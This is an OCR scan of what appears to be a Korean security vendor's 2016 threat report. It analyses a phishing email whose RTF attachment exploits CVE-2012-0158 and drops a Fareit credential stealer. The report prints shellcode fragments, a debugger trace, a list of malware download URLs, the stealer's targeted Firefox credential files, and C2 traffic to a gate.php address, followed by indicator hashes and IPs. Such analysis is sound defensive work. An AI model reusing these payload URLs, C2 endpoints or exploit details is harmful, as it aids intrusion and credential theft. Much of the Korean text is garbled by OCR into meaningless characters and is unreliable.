2012 MS 0f|A] MSCOMCTL F2Fd 8474 ) 2012 3 XS APT ZH|Q1 2474 ) 2014 1A Rotten Tomato ZHH|OI 2474 )
2016 'A Rotten Tomato ZiH[Q10| G{X5| &= SO|H, ZHO| 2f7H0| et Us

AH| X|E HHH

AAE EE EY
uuid Detail ¥ receive time Sender IP header from Subject
3747329144284428434 O Detall Aug-12-2016 13.84.153.222 accounts@uaebank.com remmitance copy
3747381929669975337 O Detall Aug-12-2016 13.85.81.89 sa ndcondomi com  urgentlyt!l request for pricest

SAR= 2EHOZ FOFY S| ASE MFIIA0| ZeE O|HYS EE0k= YAS MBI 27t 2iR1e iX| IP=
OI=22 2QIGICE Ol2et AMOIY2 F2 11X, 715, BMM S= 1610 AFEAES| 23S RolH, 2H
q

2EEA
S0l 2AFET == Office 2| FAUHS 0IZ010] APHE HHS HASIT AL LH0| AITES H= SO o RIS It

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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2016/8A12 (Bf) 12:12

Yoon Suk <sales@diamondcondominium.com>
Urgently!!! Request for Prices!

To  Redpients

Message | [ ITEMS LIST.doc (12 KB}

Dear customer,

Please kindly provide us with a detailed guotation for the items attached.

Expected delivery date is highly needed befaore mid September.

Payment will be as per our company terms or as discussed.

Best Regards

Yoon Suk

Sale Representative

Diamond Condominium

Call Sale Representative :

+66 (0) 95 079 6565 English

+66 (0) 86 102 2463 French/Dutch

Sales Office no. :
+66 (0) 76 325 585

Email Address:
sales@diamondcondominium.com

LSS 217t +=EI8 RTF 419 ZA OICt.

724y
SHAT: 55075208b25a40936ebecfe5d06e03bb5630318f
SHA256: 3bec3ffoale0a9448be02e785e92a78c08e681093b77¢167cf81909a26923ade
MDS: 97bd51b665022f48ee5442ec330edaad
File Size: 11951
File Type: [VSDT_RTF]
Census Prevalence: 16
Census Maturity: 40 days ago

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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ITEME LIST.doc  JFRO —————— HARARBRAN! | e 21 <c3S5EN
AARRRARA : = a\rtfl'ﬂﬂeutﬂche
aepaRA1 @ - = = Mus1k hat sich
51515151515 W45 H = vom Aussenseiter
o]ala]51510 k]t — zum Hit entwick
G1G]516]510 10 5 = elt: Egal welche
alPaRAsS A - = = n Radiosender ma
BUPERA6LA - — = n einschaltet, e
(51615151515 i IR = — s kommen gute, d

BePARAEA - = = eutsche Lieder a
agpaRata: Y5 = = uf jeder Welle.

aAlPARBAA: 44 = = Daz war nicht im
APPARABA: 6D = = mer so= Moch vor
agpARACA: 28 —20 — § einigen Jahren

aAPARADA: 6D = — muzizierten Band
APPARBEA: 73 = = z aus Deutschlan

Shellcode

ITEME LIST.doc {FR) ——————— 5} PAA01 7ERY iew 7.21 <c)SEN
SEEEEEEFEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
60249A00RPABDRRRAR1 260592 ?E8A15 E2 70000000AN 29259 276792582 P909 090969 0907890339
684C6F61645453FFD283C48C5925A5166B26C6C51686F6E2E646875726C6D54FFDB83C41 BB 424

69745453 FFD2FFDAES BAFFFFFF6 87474703 a2 £ 227777722 706761 746861696cb16e642e636f 6d
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFF
#FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFF

CVE-2012-0158 FI2HH =4

CVE-2015-0158 2 Office MZ & Buffer Overflow E LOZ 4~ = FIFEO=Z | FOFE0| EXlok= ZE&2 MSCOMCTL ActiveX

dlL O|C}, ListView, TreeView S ActiveX ZAEZ0|l= 25 i 2E0| LRSHH, Of= = siE dI S AR5 SWES 5 6l
O

FOFHO| B HH=CH= OICH LRNOR o FMNS 01Zole YTASSS i3S HTQlh

ebp, ;p

ebx,dword ptr [ebp+@Ch]

(275¢876d)

eB63FAFFFF MSCOMCTL!D11GetClassObject+0x41a29 (275c876d)

ESTsoft
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D=2 A= SAloh= HIOIER| 3712 ZX6l0iZIEHC= QHSZERE AOTINt

ptr [ebp+8Ch]

;dword ptr [ebp+8]

i ptr [t);:
rd ptr [ebp+106h]
edx, [eax+3]

edx,@FFFFFFECH

edx,eax

=AE 2H 2 g7t RlelE [ ARO[ 4= 0[0] imp esp = FOAR] RO, &7t =071 HI=Z shellcode 7+ &AEIC
Memaory =]

Virtual: @ebp Display format: |F‘ointer and v| Frevim
| Haxt

L !D11CanUnloadNow+8xc7d

1CanUnloadNow+@xc7d:

ed4 jmp
add
and
push

badl7
2a1badl9

ESTsoft
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pushn
push
push
push
push
push
call

eax {kernel32!loadlLibraryA (7654395c)}

URLDownloadToFile 2 02510 XPEE URL A DS L2 k=L,

CIRZ L Hi= A= h/t/t/p/ www.pgathailand.com/which.exe 22, CHRZEETHEH & WinExec £ SE$ICE
34 H0|=2E 24

www.pgathailand.com EM|12] IP= 128.199.127.7 =, Ei= =:

I 33| SHOIX|= 2{2I,

nhzmalng

LATEST NEWS

N
[OUR'

1
CHALLENGE TOUR 2016 85

ESTsoft
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olid SHO|XIS| XIZ7HK| O|HS ER4= M, OPH0= SIS Foll B2 2fETE MESS REX

X2 SEHOICE.

0.

http://www.pgathailand.com/overnight.exe
http://pgathailand.com/sites/wayne.exe

http://pgathailand.com/overnight.exe

http://www.pgathailand.com/thank.exe
http://www.pgathailand.com/includes/peace.exe
http://www.pgathailand.com/back.exe
http://www.pgathailand.com/sites/wayne.exe
http://www.pgathailand.com/sites/default2/chidododoo.exe

http://www.pgathailand.com/sites/DHL_AWB12TTRJ494E.zip

ofi7t= 010 MHE HdTE= YIH|0|E MHZ 0IZst U0 HOFHEIIE0| XS OfFA UL
ST 7=EE = DSt 2Tt

| playload.exe_ Properties T g

|Ga’ie’d|5&o|.ﬂy| Details |Piewou5\n‘e’sms|

Property Walue
File

Name playload exe_

Type EXE_ File

Folder path  C:\Users. Jesktop \APT rotten toma..
Size 401 KB

Date created  2016/9/21 14:15

Date modified 2016/9/21 14:15
Owner

Computer )

Remove Properties and Personal Information

Lok [ Gonod J[ ooy |

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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Md5: 569253e78527e6db7d2f1a1c0e4f7284
EMSH : application/x—rar

37| :200933

282t :2014-05-06 12:07:12

ofigf I A1 f°*"6HI1I EMIAE ol RUCH, 2l =
U2 TRO)_Fareit 2| HECZ, AHER, 220 A Zbot AT = 2l 52

Cism Ze IS

—

510 APYEQS SIRdSiTt.

%APPDATAY \Moxzilla\Firefox\Profiles \4thzac8r.default\key3.db
%APPDATAY\Mozilla\Firefox\Profiles \4thzac8r default \cert8.db
%APPDATAY\Mozilla\Firefox\Profiles\4thzac8r.default\secmod.db

%APPDATAY\Moxzilla\Firefox\profiles.ini

%APPDATAY\Moxzilla\Firefox\Profiles\4thzac8r.default\signons.sqlite
%APPDATAY\Moxzilla\Firefox\Profiles \4thzac8r.default\signons2.txt

olig IS ASAH| F71=H, S F

T JIHEJO IEh

s ik e

Elﬁpla?l{}a:l. exe [3848)
Ei]{mﬂsi? exe (3144)

e bt b -

ﬁ inmsiy_ exe (2604) C:\lsers
Pro... ¢ PID Prot... Local Add...
& explorer.exe 1460 TCP VIN-FIHLNS... 36027
W explorer. exe 1460 TCPV6 win-fihlnS... 36027
W explorer. exe 1460  TCP win—fihlnS... 494568
y explorer. exe 1460 TCP vin-fi .. 49469
Hrmsiy. exe 2604 TCP win-fi v 49444
§ Hrmsiy. exe 2604 TICP vin-fi .. 49446
Hrmsiy. exe 2604 TCP win-fih .. 49448
§ Hrmsiy. exe 2604 ICP wvin-fihlnS... 49449
Hrmsiy. exe 2604 TCP win-fihlnS...
Hrmnsay. exe 2604 win-fihlnS... 49451
=1 1sass. exe 512 1CP IN-FIHLNS... 49154
*1 1sass. exe 512 ICPV6  win-fihlnS... 49154

ESTSOft Copyright by ESTsoft corp. All rights reserved.

Nh s i b me . .

S\Users'Adam. ..
“Adam. .

Local Port

\Users'\Adam. ..

Remote Address
WIN-FIHLNSBTLHT
win-fihlnSbtlht
10. 10. 10, 150

192. 168. 206. 133
sr100. webxen. com
sr100. webxen. com
sr100. webxen. com
sr100. vebxen. com
51100, webxen. com
sx 100, webxen. com
WIN-FIHLNSBTLHT
win-f1ihlnSbtlht

STENA0 QM A7 BAIE 2[T[SH.

Remote Port

20{| %TEMP%\RarSFXO\Hnmsiy.exe &
| 7|SS eIt

WIN-
WIN

State

LISTERING
LISTERING

=

AlSHSIC} O
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136 M-SEARCH * HTTP/1.1
276 POST miflfaregulfm/pu php HTTP/1.8 ]

420 HTTP/1.1 200 OK (text/html)

276 POST /X7Efifaregi/ifeoma/gate.php HTTP/1.0
428 HTTP/1.1 200 OK (text/html)

276 POST /X7Efifaregi/ifeoma/gate.php HTTP/1.0
420 HTTP/1.1 200 OK (text/html)

476 POST /X7Efifaregi/ifeoma/gate.php HITP/1.0
1494 HTTP/1.1 200 OK (text/html)

420 Continuation

276 POST /X7Efifaregi/ifeoma/gate.php HTTP/1.0
420 HTTP/1.1 200 OK (text/html)

276 POST /X7Efifaregi/ifeoma/gate.php HTTP/1.0
428 HTTP/1.1 200 OK (text/html)

¥ Tine Seurce Destination Protecol Lasgth Infe

16 21.425001 10.10.10.1 239.255.255.250 SSDP

85 76.065387  10.10.10.138  209.133.221.62 HTTP

99 76.086261  209.133.221.62 10.10.10.138 HTTP
107 81.499659 10.10.10.138 209.133.221.62 HTTP
112 81.516601 209.133.221.62 10.10.10.138 HTTP
128 87.112420 10.10.10.138 209.133.221.62 HTTP
133 87.1290845 209.133.221.62 10.10.10.138 HTTP
140 87.508434 10.10.10.138 209.133.221.62 HTTP
144 87.510930 209.133.221.62 10.10.10.138 HTTP
147 87.525784 209.133.221.62 10.10.10.138 HTTP
156 92.848396 10.10.10.138 209.133,221.62 HTTP
161 92.866820 209.133.221.62 10.10.10.138 HTTP
171 98.262174 10.10.10.138 209.133.221.62 HTTP
176 98.279498 209.133.221.62 10.10.10.138 HTTP
325 324.423175  10.10.10.1 239.255.255.250 SSOP

POST /X7Efifaregi/ifeoma/gate.php HTTP/1.0
Host: 209.133.221.62

Accept: */*

Accept-Encoding: identity, *;q=0
Accept-Language: en-US

Content-Length: 222

Content-Type: application/octet-stream
Connection: close

Content-Encoding: binary

136 M-SEARCH * HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.9; SLCC2; .NET CLR
2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2)

& 5, ST, 6B irviansnves p.nBvO.w..p......0...1..Cw3=A=-0...%..3.._)..%a:w.

oo B8 - S0 s Wain on K i~ e

cees@.8,<..2. .05,

Xy SFVE T HW] |~ Vo~ e, MRaigsasivs R SR yIv.b.c.-...F..0.C.....m.Kk..K.&CC/..]. .~}
TCP/IP Destinations

» 209.133.221.62, port 80

Reputation rating: Untested
Category: Untested

Requested URLs

« 200.133.221.62/%TEfifareqgififeomalgate.php

Reputation rating: Dangerous
Category: C&C Server
Request FQDN

= 200.133.221.62

Reputation rating: Untested
Category: Untested

—

P2J= CRAS 55101 209.133221 627}
S BB FA07IE 3 %S

[EX{http://tech.qa.com/a/20160920/009321 htm

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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£4 Email

Displaying entries ¥ 10 1 of 1 matching entries.

uuld Detad ¥ receive time Sendes 1P header from
I747329184455756210 @ Detal Sep-18-2016 209.133.221 .62 jordan fitzgeraid@atuph.ong SR P SONS.
==
AN SEX

M oumaErEE

L HEPT
IS - R 35 ikt
%%

257
BRIk
—~ ol

o TR SR R B

%4IE fe2c

AL

=ZHOIX Fet

IR I

c&cC

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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EAXICS

B AR Mk 5347 B

n &8
mET
m bl
m LAt

H AR #RAE R G041 A

| Win7

m Windows XP SP3

B Windows Server 2008
W Windows 10

B Windows 8

= JLfih

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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=
A 20 HIF O] T == 7122 hd T =0A BO| BHelA| SR S47 RS2 2 TiohS UUC 71 B2 SWE Aol
= —

I{[

THXIS TIYotA| 220} XIEHO2 S PIE0 LeEE|0] /S HTHOH|2t LIFQISO| &t HOIOJA: HOI0|H, Bt

UK AL S| HH[o| FIHS0| 2O = ANMIY0| WRACZ FHES 4 AULS 5185l &= XO|Cf
O EME VMM AEE WSt P34 Chaat 2T
X#MD5

97hbd51b665022f48ee5442ec330edaad
3f41edee216ff14121c4185717101829
5e9253e78527e6db7d2f1a1c0e4f7284
039b76303243efeaa59003c25de0308
2e0f18aecOb3fa2cOfbdfab70572fatc
3eadf80d6971e12967e96da7d961f1a6

P:

13.84.153.222
13.85.81.89

Domain:

http://www.pgathailand.com/which.exe
http://209.133.221.62/% 7 Efifaregi/ifeoma/gate. php
crm.baminds.com

azure baminds.com

[EX] http://wwwifreebuf.com/artices/system/115612.html

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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Mozilla 7} E{0lef WoSign CA S 2SolX| 227|= oLt

Mozilla= 10 & 21 & 0]20]| LZE WoSign 2| QASME QG| 24=Ctl 108 20Y
LHESIRACHhttps://bugzilla.mozilla.org/show_bug.cgi?id=1311824).

FireFox51 £2E{ 4 72| WoSign 2ISME H7 [o17 |2 SIALCt. FireFox51 2 2017 A 1 & 23 Y SAIE OPFO0ICE 02 28|
WoSign 2 #&S EARIFCH, "10 & 22 LRE] 47H2] WoSign SSL QIS0 THEIH 90%ERI6H 37| = SIRCH, F=
SSLQIBA0]| ChohM= X EH = STt Z0(C 2t HHSIACT.

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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3. €=

Of= 2| 77HAL SPFEHY BIX] HAOIT'E S0l =21 7HA|
Y7—6 )T FL AL RLY— 27,2 BATICEARR

QIFEOHLIOF, HDE, AIL{XIDAIR, E2JOIE, LIE|, U SLIZIHASIEZI33I(IPDEC), O[S HIX(PIPEDBITS), O3
10819 SIS LRGH= DHIIIE KILKIRITHIO ERU5H | ARICHS 2S UECY

T 441 SOIAS SPTIUS WRIGH= CHEH0] SZIET QUOLE HIUO| ZINRIX| G E7E517| et
SAZHRIES(DKIM : Domaaneys Identiied Mail) S] 2541 20 C&0] T40[7| HHE0| 87HAKS SAZHQIQIS}
SIIHIULR| ODIT0| BT S7I5H Sit

QHAIDIT = SAIEHIR! QEEAIASIT} A0 HHHOIENEHS ROBINSO SEEI0] QU= 7[QIAEE 515t 2102, Web HIIARIA}
20| Mt A0 ‘SAKIOIHA 2 HIZ HIZ'OR XSQIIE= HO0| EAIS)= 00} SHH0|CH

il

|15t UEH—F)0IM DS BAISIK RAQ| Taldnt QFdES A SHIAIZE 4= AT SiTt,

[ LmGRERE.  vazeeme
ZHDE
AE OLxon Ve Tt
R 7 omanio
S TRICORN
- j S8 DL A
_maoosTES '
A=ARAM A LELT
. smconemm | [ 7 -
e | icoee | e | A
VeA-RANS —_—— ’L&;"A_&"’
ROBINS "—-*- @niftye

=l orMot32f AlA” JHE

KURRIEHRZ= =2 OH0 OffS| IS X7 10| X[0KiiEER LEVEO| FEERO0| Alsh FRIHU0fM k0= 7}
CRERACH=E AR HHEERACT

[EX] http://newsmynavijp/news/2016/10/19/282/

ESTSOﬂ' Copyright by ESTsoft corp. All rights reserved.
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=878 S 1HEE 6 Tt7 0| 7E, =TS R—Tlﬁ
RETSE BRI 3.7 T4t A55EERT B Bax v b — BN —

o
oo
1z
=
ue
HT
|
40
o
4
_Im
rhu

g I | ZEZ FLAT35’9I Iﬂé?:.*—‘?— S2 EAlotil U= STFEES| MU MVt 2 HEES B2 22X 0] 2 0iM=
UMYE 327247 40| REEIUS 7150 =He ArS BT

Of 2MUIM= 9 &30 Y, HIZAMH0| Chet FETES SR FETS0| 22E HUO0| 2216104 10 2 6 20| 2lA #AIE
UM THYETE REEAS 7150 AT 510 MEHS SH, ZAS TIRHSIT AAC.

IZSERZ0]| [MEH 01 BATK02 U 5 HO| HIUAHO| =L HS %QI n1°"<£x1¢ar5§gg0|w#5|o1

SazEt=0
QUQICHT I B ME{O] TAZ T 92 10 URE| 30 AjO[0] 4AIE! HILO| SEEIAS TKSA0| kT Bt

OlF M= 2 HAES2 1ZH0|Lt LARIY A=S 01&8et 12, Eo|Lt A=z S E 12 S 02 387247 F=20| F=t

)

TSE[1 A AT, HEXMEA] et YR E StEIL,

JHRIFEEO Eolit= HE0 ARPEE, LAXIY FUE Ot LR THUA= 4, TS, WEE, 27X, S, HYFA,
8

SUEE, N7, XS et FHH, ZARIY S| HAEE, =5 S0| 7|0 AAC

EESHOIH ZH[0]] EHolix] O] 2Ak= 108 3 20f L1 H[ZO| #AKCI LHES SHIUCE O] HIZ0A HIO|EIE 7HAISHK| ¢i=
NS Q7RO Z FTS Qo UUCH= AFO| BiofRiLt.

ZZEHZ0IA O SRRSO oA TiRUkiEe] 2RI HAKIOI HS 23t 1S 0102 BT 9ol f 35 g3t
9| 5 AAet RA10] CHAIs FAKS SRI51T1 QU= AEOIT

oﬁ -lo

JHRPEEI H AEEIRCH= il SO0 UX| U, O] == IZHO[A| O 0| 2iet 210] MHS 2ot F2(0f|
Sol7| flet Tk AR5kl UL,

[EX] http:/ /mww.security—nextcom/075188

ESTSOft Copyright by ESTsoft corp. All rights reserved.
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BT 10| o 4 HIE S5 - SYTARY} s

BB X — VA4 B D308 — e EF

J-CSIP*&

et for SqoAny
rioeraton rc:g Panecshp of Jugan

20162 M3 AR |= XS HIZ0| < 4 Hi= SSUCH tF20] 6FHTE EAE|0 AU S8 2RI 2let 20[2tL

oIt

4

HEXM2IFE7FHIPAZE2016 H X 3 ARZ7 1012 MO IHEESROILIAEIZ(-CSIPI2| 21t BXASA HIYQ| FFdeEs
Felgh 20,

J-CSIP= A0 |HBZQ| TBHSIHUXIE SHOZ 2011 H 10 20j| SHIUCL SI= 7 7H] SIG(Specdial Interest Group)2t 87 7H2

ZX|0] F7fotl ULt

S(AARZ7 [0l Z7EZEZ{0IM S012 FE0]| [T=H =446t HIU0|| 2ot FE = 218 210Ct T7(2] 1818 40 TAH| SAEIRACS.
CHZt M@EDARR7 = OlE8t 58S 2X 0] 25510 ZAKCE S/tet 210|7| HE| &2l

HS2 HOT ot

i
ro
0
i
1
=
me

g8 |#= 20158 | 20164
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